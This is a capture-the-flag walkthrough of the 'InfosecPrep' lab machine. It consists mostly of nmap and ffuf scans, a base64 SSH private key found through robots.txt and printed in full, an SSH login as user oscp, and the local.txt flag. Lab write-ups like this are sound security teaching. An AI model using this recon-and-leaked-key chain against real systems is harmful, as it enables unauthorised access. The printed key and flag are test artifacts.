InfosecPrep

Reconnaissance

Nmap scan

Let's perform an nmap scan to find the open ports and the services running on the open ports.

$ nmap -T5 -Pn -A -p- 192.168.202.89
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 05:14 EDT
Warning: 192.168.202.89 giving up on port because retransmission cap hit (2).
Nmap scan report for 192.168.202.89
Host is up (0.070s latency).
Not shown: 64020 closed tcp ports (conn-refused), 1512 filtered tcp ports (no-response)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91:ba:0d:d4:39:05:e3:13:55:57:8f:1b:46:90:db:e4 (RSA)
|   256 0f:35:d1:a1:31:f2:f6:aa:75:e8:17:01:e7:1e:d1:d5 (ECDSA)
|_  256 af:f1:53:ea:7b:4d:d7:fa:d8:de:0d:f2:28:fc:86:d7 (ED25519)
80/tcp    open  http       Apache httpd 2.4.41 ((Ubuntu))
|_http-title: OSCP Voucher &#8211; Just another WordPress site
|_http-generator: WordPress 5.4.2
| http-robots.txt: 1 disallowed entry 
|_/secret.txt
|_http-server-header: Apache/2.4.41 (Ubuntu)
33060/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 357.13 seconds

There are three open ports:

Port	Service
22	ssh
80	http
33060	tcpwrapped

Directory enumeration

We can perform directory enumeration on the webpage using ffuf.

$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.202.89:80/FUZZ | grep "Status: 200"
________________________________________________

# Copyright 2007 James Fisher [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 952ms]
# directory-list-2.3-medium.txt [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 953ms]
#                       [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 1928ms]
wp-content              [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 68ms]
# on atleast 2 different hosts [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 3989ms]
#                       [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 3990ms]
                        [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 3990ms]
#                       [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 5033ms]
# Priority ordered case sensative list, where entries were found  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 5044ms]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 5047ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 5060ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 5060ms]
wp-includes             [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 72ms]
javascript              [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 72ms]
#                       [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 6087ms]
# This work is licensed under the Creative Commons  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 6088ms]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 6088ms]
wp-admin                [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 74ms]
                        [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 287ms]
server-status           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 75ms]
:: Progress: [220560/220560] :: Job [1/1] :: 488 req/sec :: Duration: [0:07:23] :: Errors: 0 ::

From the scan, we can tell that the target is running WordPress.

Web enumeration

Let's visit the web page through our browser.

Scrolling down tells us who the user on the target is.

Username
oscp

Let's visit the robots.txt page to see if we can find some more information.

Visiting secret.txt gives us the following:

LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB
QUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUJsd0FBQUFkemMyZ3RjbgpOaEFBQUFB
d0VBQVFBQUFZRUF0SENzU3pIdFVGOEs4dGlPcUVDUVlMcktLckNSc2J2cTZpSUc3UjlnMFdQdjl3
K2drVVdlCkl6QlNjdmdsTEU5ZmxvbHNLZHhmTVFRYk1WR3FTQURuWUJUYXZhaWdRZWt1ZTBiTHNZ
ay9yWjVGaE9VUlpMVHZkbEpXeHoKYklleUM1YTVGMERsOVVZbXpDaGU0M3owRG8waVF3MTc4R0pV
UWFxc2NMbUVhdHFJaVQvMkZrRitBdmVXM2hxUGZicnc5dgpBOVFBSVVBM2xlZHFyOFhFelkvL0xx
MCtzUWcvcFV1MEtQa1kxOGk2dm5maVlIR2t5VzFTZ3J5UGg1eDlCR1RrM2VSWWNOCnc2bURiQWpY
S0tDSEdNK2RubkdOZ3ZBa3FUK2daV3ovTXB5MGVrYXVrNk5QN05Dek9STnJJWEFZRmExcld6YUV0
eXBId1kKa0NFY2ZXSkpsWjcrZmNFRmE1QjdnRXd0L2FLZEZSWFBRd2luRmxpUU1ZTW1hdThQWmJQ
aUJJcnh0SVlYeTNNSGNLQklzSgowSFNLditIYktXOWtwVEw1T29Ba0I4ZkhGMzB1alZPYjZZVHVj
MXNKS1dSSElaWTNxZTA4STJSWGVFeEZGWXU5b0x1ZzBkCnRIWWRKSEZMN2NXaU52NG1SeUo5UmNy
aFZMMVYzQ2F6TlpLS3dyYVJBQUFGZ0g5SlFMMS9TVUM5QUFBQUIzTnphQzF5YzIKRUFBQUdCQUxS
d3JFc3g3VkJmQ3ZMWWpxaEFrR0M2eWlxd2tiRzc2dW9pQnUwZllORmo3L2NQb0pGRm5pTXdVbkw0
SlN4UApYNWFKYkNuY1h6RUVHekZScWtnQTUyQVUycjJvb0VIcExudEd5N0dKUDYyZVJZVGxFV1Mw
NzNaU1ZzYzJ5SHNndVd1UmRBCjVmVkdKc3dvWHVOODlBNk5Ja01OZS9CaVZFR3FySEM1aEdyYWlJ
ay85aFpCZmdMM2x0NGFqMzI2OFBid1BVQUNGQU41WG4KYXEvRnhNMlAveTZ0UHJFSVA2Vkx0Q2o1
R05mSXVyNTM0bUJ4cE1sdFVvSzhqNGVjZlFSazVOM2tXSERjT3BnMndJMXlpZwpoeGpQblo1eGpZ
THdKS2svb0dWcy96S2N0SHBHcnBPalQrelFzemtUYXlGd0dCV3RhMXMyaExjcVI4R0pBaEhIMWlT
WldlCi9uM0JCV3VRZTRCTUxmMmluUlVWejBNSXB4WllrREdESm1ydkQyV3o0Z1NLOGJTR0Y4dHpC
M0NnU0xDZEIwaXIvaDJ5bHYKWktVeStUcUFKQWZIeHhkOUxvMVRtK21FN25OYkNTbGtSeUdXTjZu
dFBDTmtWM2hNUlJXTHZhQzdvTkhiUjJIU1J4UyszRgpvamIrSmtjaWZVWEs0VlM5VmR3bXN6V1Np
c0sya1FBQUFBTUJBQUVBQUFHQkFMQ3l6ZVp0SkFwYXFHd2I2Y2VXUWt5WFhyCmJqWmlsNDdwa05i
VjcwSldtbnhpeFkzMUtqckRLbGRYZ2t6TEpSb0RmWXAxVnUrc0VUVmxXN3RWY0JtNU1abVFPMWlB
cEQKZ1VNemx2RnFpRE5MRktVSmRUajdmcXlPQVhEZ2t2OFFrc05tRXhLb0JBakduTTl1OHJSQXlq
NVBObzF3QVdLcENMeElZMwpCaGRsbmVOYUFYRFYvY0tHRnZXMWFPTWxHQ2VhSjBEeFNBd0c1Snlz
NEtpNmtKNUVrZldvOGVsc1VXRjMwd1FrVzl5aklQClVGNUZxNnVkSlBubUVXQXB2THQ2MkllVHZG
cWcrdFB0R25WUGxlTzNsdm5DQkJJeGY4dkJrOFd0b0pWSmRKdDNoTzhjNGoKa010WHN2TGdSbHZl
MWJaVVpYNU15bUhhbE4vTEExSXNvQzRZa2cvcE1nM3M5Y1lSUmttK0d4aVVVNWJ2OWV6d000Qm1r
bwpRUHZ5VWN5ZTI4endrTzZ0Z1ZNWng0b3NySW9OOVd0RFVVZGJkbUQyVUJaMm4zQ1pNa09WOVhK
eGVqdTUxa0gxZnM4cTM5ClFYZnhkTmhCYjNZcjJSakNGVUxEeGh3RFNJSHpHN2dmSkVEYVdZY09r
TmtJYUhIZ2FWN2t4enlwWWNxTHJzMFM3QzRRQUEKQU1FQWhkbUQ3UXU1dHJ0QkYzbWdmY2RxcFpP
cTYrdFc2aGttUjBoWk5YNVo2Zm5lZFV4Ly9RWTVzd0tBRXZnTkNLSzhTbQppRlhsWWZnSDZLLzVV
blpuZ0Viak1RTVRkT09sa2JyZ3BNWWloK1pneXZLMUxvT1R5TXZWZ1Q1TE1nakpHc2FRNTM5M00y
CnlVRWlTWGVyN3E5ME42VkhZWERKaFVXWDJWM1FNY0NxcHRTQ1MxYlNxdmttTnZoUVhNQWFBUzhB
SncxOXFYV1hpbTE1U3AKV29xZGpvU1dFSnhLZUZUd1VXN1dPaVlDMkZ2NWRzM2NZT1I4Um9yYm1H
bnpkaVpneFpBQUFBd1FEaE5YS21TMG9WTWREeQozZktaZ1R1d3I4TXk1SHlsNWpyYTZvd2ovNXJK
TVVYNnNqWkVpZ1phOTZFamNldlpKeUdURjJ1Vjc3QVEyUnF3bmJiMkdsCmpkTGtjMFl0OXVicVNp
a2Q1ZjhBa1psWkJzQ0lydnVEUVpDb3haQkd1RDJEVVd6T2dLTWxmeHZGQk5RRitMV0ZndGJyU1AK
T2dCNGloZFBDMSs2RmRTalFKNzdmMWJOR0htbjBhbW9pdUpqbFVPT1BMMWNJUHp0MGh6RVJMajJx
djlEVWVsVE9VcmFuTwpjVVdyUGdyelZHVCtRdmtrakdKRlgrcjh0R1dDQU9RUlVBQUFEQkFNMGNS
aERvd09GeDUwSGtFK0hNSUoyalFJZWZ2d3BtCkJuMkZONmt3NEdMWmlWY3FVVDZhWTY4bmpMaWh0
RHBlZVN6b3BTanlLaDEwYk53UlMwREFJTHNjV2c2eGMvUjh5dWVBZUkKUmN3ODV1ZGtoTlZXcGVy
ZzRPc2lGWk1wd0txY01sdDhpNmxWbW9VQmpSdEJENGc1TVlXUkFOTzBOajlWV01UYlc5UkxpUgpr
dW9SaVNoaDZ1Q2pHQ0NIL1dmd0NvZjllbkNlajRIRWo1RVBqOG5aMGNNTnZvQVJxN1ZuQ05HVFBh
bWNYQnJmSXd4Y1ZUCjhuZksyb0RjNkxmckRtalFBQUFBbHZjMk53UUc5elkzQT0KLS0tLS1FTkQg
T1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg==

Seems like Base64 encoding.

Exploitation

Decoding SSH Private key

Let's save it to a file and decode it.

$ cat base64_encoded.txt | base64 -d
-----BEGIN OPENSSH PRIVATE KEY-----
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
8nfK2oDc6LfrDmjQAAAAlvc2NwQG9zY3A=
-----END OPENSSH PRIVATE KEY-----

It is a SSH private key. Maybe we can use it to login as the oscp user. But before we do that, we have to save the key to a file id_rsa.

$ cat base64_encoded.txt | base64 -d > id_rsa

Next, we have to set the file permission to 600.

$ chmod 600 id_rsa

Now, we can login via SSH as the oscp user using the id_rsa private key.

$ ssh -i id_rsa oscp@192.168.202.89 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0


151 updates can be installed immediately.
13 of these updates are security updates.
To see these additional updates run: apt list --upgradable


*** System restart required ***
Last login: Sat Aug 10 09:50:24 2024 from 192.168.45.234
oscp@oscp:~$ 

Post Exploitation

local.txt

oscp@oscp:~$ cat local.txt
640d75efcc0212469258bc7ccc9c58cf

Reconnaissance​

Nmap scan​

Directory enumeration​

Web enumeration​

Exploitation​

Decoding SSH Private key​

SSH login​

Post Exploitation​

local.txt​